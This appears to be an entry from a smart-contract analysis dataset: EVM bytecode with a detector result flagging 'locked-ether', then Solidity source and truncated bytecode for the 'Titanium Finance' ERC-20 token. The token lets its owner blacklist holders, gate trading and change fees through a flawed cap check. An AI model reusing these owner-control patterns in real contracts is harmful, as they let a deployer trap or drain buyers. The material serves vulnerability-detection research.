ffff16815260200190815260200160002060009054906101000a900460ff1615611302576001820191505b8080600101915050611254565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ed5780601f106113c2576101008083540402835291602001916113ed565b820191906000526020600020905b8154815290600101906020018083116113d057829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561148e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611444575b5050505050905090565b6060806005546040519080825280602002602001820160405280156114cc5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561157657858015611511575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115445750848015611543575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611569578083838151811061155657fe5b6020026020010181815250506001820191505b80806001019150506114da565b8787036040519080825280602002602001820160405280156115a75781602001602082028038833980820191505090505b5093508790505b868110156115f1578281815181106115c257fe5b602002602001015184898303815181106115d857fe5b60200260200101818152505080806001019150506115ae565b505050949350505050565b6060806003805490506040519080825280602002602001820160405280156116335781602001602082028038833980820191505090505b509050600080905060008090505b60038054905081101561177a576001600086815260200190815260200160002060006003838154811061167057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561176d57600381815481106116f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061172c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611641565b816040519080825280602002602001820160405280156117a95781602001602082028038833980820191505090505b509350600090505b81811015611820578281815181106117c557fe5b60200260200101518482815181106117d957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117b1565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186657600080fd5b600380549050816032821115801561187e5750818111155b801561188b575060008114155b8015611898575060008214155b6118a157600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661193b57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119ab57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a1557600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611aca85611e05565b5050505050565b6000611ade8484846120a7565b9050611ae9816118e4565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b3357600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b8a57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611be257600080fd5b60008090505b600380549050811015611cc8578473ffffffffffffffffffffffffffffffffffffffff1660038281548110611c1957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cbb578360038281548110611c6e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611cc8565b8080600101915050611be8565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5c57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ec557600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615611ef357600080fd5b611efc85611167565b156120a0576000806000878152602001908152602001600020905060018160030160006101000a81548160ff02191690831515021790555061201c8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120125780601f10611fe757610100808354040283529160200191612012565b820191906000526020600020905b815481529060010190602001808311611ff557829003601f168201915b505050505061220c565b1561205357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261209e565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120e457600080fd5b600554915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121a292919061225f565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b81548183558181111561225a5781836000526020600020918201910161225991906122df565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122a057805160ff19168380011785556122ce565b828001600101855582156122ce579182015b828111156122cd5782518255916020019190600101906122b2565b5b5090506122db91906122df565b5090565b61230191905b808211156122fd5760008160009055506001016122e5565b5090565b9056fea165627a7a72305820d2377d56a4f59355f2e1b5a8f062f96785793460092b4864e8e91f8c1a9b2d920029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,083
0x17178f03bba087601fc16dea05a4452a3b2eff11
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ // SPDX-License-Identifier: Unlicensed // TG: Titaniumfi pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ti is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Titanium Finance"; string private constant _symbol = "Ti"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; uint256 public _maxWalletSize = 15000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner()); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 50000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a2b565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611af0565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b45565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611b71565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611bb2565b61073f565b34801561038057600080fd5b5061020761038f366004611bdf565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611bb2565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611bfa565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611bb2565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d7565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611bdf565b610abc565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611bfa565b610b1b565b34801561050157600080fd5b50610207610510366004611c13565b610b4a565b34801561052157600080fd5b50610274610530366004611b45565b610ba4565b34801561054157600080fd5b50610274610550366004611bb2565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610bb1565b34801561058657600080fd5b50610207610595366004611c45565b610be7565b3480156105a657600080fd5b506102d46105b5366004611cc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611bfa565b610c88565b34801561060c57600080fd5b5061020761061b366004611bb2565b610cb7565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611d02565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611d37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611d63565b915050610656565b5050565b60006106cc338484610da1565b5060015b92915050565b60006106e3848484610ec5565b610735843361073085604051806060016040528060288152602001611e7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112b7565b610da1565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611d02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611d02565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816112f1565b50565b6001600160a01b0381166000908152600260205260408120546106d09061132b565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611d02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611d02565b652d79883d20008110156108d257600080fd5b601555565b6000546001600160a01b031633146109015760405162461bcd60e51b815260040161064a90611d02565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561096157600080fd5b505afa158015610975573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109999190611d7e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e157600080fd5b505afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611d7e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a6157600080fd5b505af1158015610a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a999190611d7e565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ae65760405162461bcd60e51b815260040161064a90611d02565b601454600160a01b900460ff1615610afd57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b455760405162461bcd60e51b815260040161064a90611d02565b601755565b6000546001600160a01b03163314610b745760405162461bcd60e51b815260040161064a90611d02565b60095482111580610b875750600b548111155b610b9057600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610ec5565b6012546001600160a01b0316336001600160a01b031614610bd157600080fd5b6000610bdc306107ff565b90506107fc816113af565b6000546001600160a01b03163314610c115760405162461bcd60e51b815260040161064a90611d02565b60005b82811015610c82578160056000868685818110610c3357610c33611d37565b9050602002016020810190610c489190611bb2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c7a81611d63565b915050610c14565b50505050565b6000546001600160a01b03163314610cb25760405162461bcd60e51b815260040161064a90611d02565b601655565b6000546001600160a01b03163314610ce15760405162461bcd60e51b815260040161064a90611d02565b6001600160a01b038116610d465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fed5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b0384811691161480159061101957506000546001600160a01b03838116911614155b156111b057601454600160a01b900460ff16611049576000546001600160a01b0384811691161461104957600080fd5b60155481111561105857600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561109a57506001600160a01b03821660009081526010602052604090205460ff16155b6110a357600080fd5b6014546001600160a01b038381169116146110d957601654816110c5846107ff565b6110cf9190611d9b565b106110d957600080fd5b60006110e4306107ff565b6017546015549192508210159082106110fd5760155491505b8080156111145750601454600160a81b900460ff16155b801561112e57506014546001600160a01b03868116911614155b80156111435750601454600160b01b900460ff165b801561116857506001600160a01b03851660009081526005602052604090205460ff16155b801561118d57506001600160a01b03841660009081526005602052604090205460ff16155b156111ad5761119b826113af565b4780156111ab576111ab476112f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f257506001600160a01b03831660009081526005602052604090205460ff165b8061122457506014546001600160a01b0385811691161480159061122457506014546001600160a01b03848116911614155b15611231575060006112ab565b6014546001600160a01b03858116911614801561125c57506013546001600160a01b03848116911614155b1561126e57600854600c55600954600d555b6014546001600160a01b03848116911614801561129957506013546001600160a01b03858116911614155b156112ab57600a54600c55600b54600d555b610c8284848484611538565b600081848411156112db5760405162461bcd60e51b815260040161064a9190611af0565b5060006112e88486611db3565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156113925760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b600061139c611566565b90506113a88382611589565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f7576113f7611d37565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144b57600080fd5b505afa15801561145f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114839190611d7e565b8160018151811061149657611496611d37565b6001600160a01b0392831660209182029290920101526013546114bc9130911684610da1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f5908590600090869030904290600401611dca565b600060405180830381600087803b15801561150f57600080fd5b505af1158015611523573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611545576115456115cb565b6115508484846115f9565b80610c8257610c82600e54600c55600f54600d55565b60008060006115736116f0565b90925090506115828282611589565b9250505090565b60006113a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611732565b600c541580156115db5750600d54155b156115e257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061160b87611760565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163d90876117bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166c90866117ff565b6001600160a01b03891660009081526002602052604090205561168e8161185e565b61169884836118a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116dd91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061170c8282611589565b82101561172957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117535760405162461bcd60e51b815260040161064a9190611af0565b5060006112e88486611e3b565b600080600080600080600080600061177d8a600c54600d546118cc565b925092509250600061178d611566565b905060008060006117a08e878787611921565b919e509c509a509598509396509194505050505091939550919395565b60006113a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b7565b60008061180c8385611d9b565b9050838110156113a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611868611566565b905060006118768383611971565b3060009081526002602052604090205490915061189390826117ff565b30600090815260026020526040902055505050565b60065461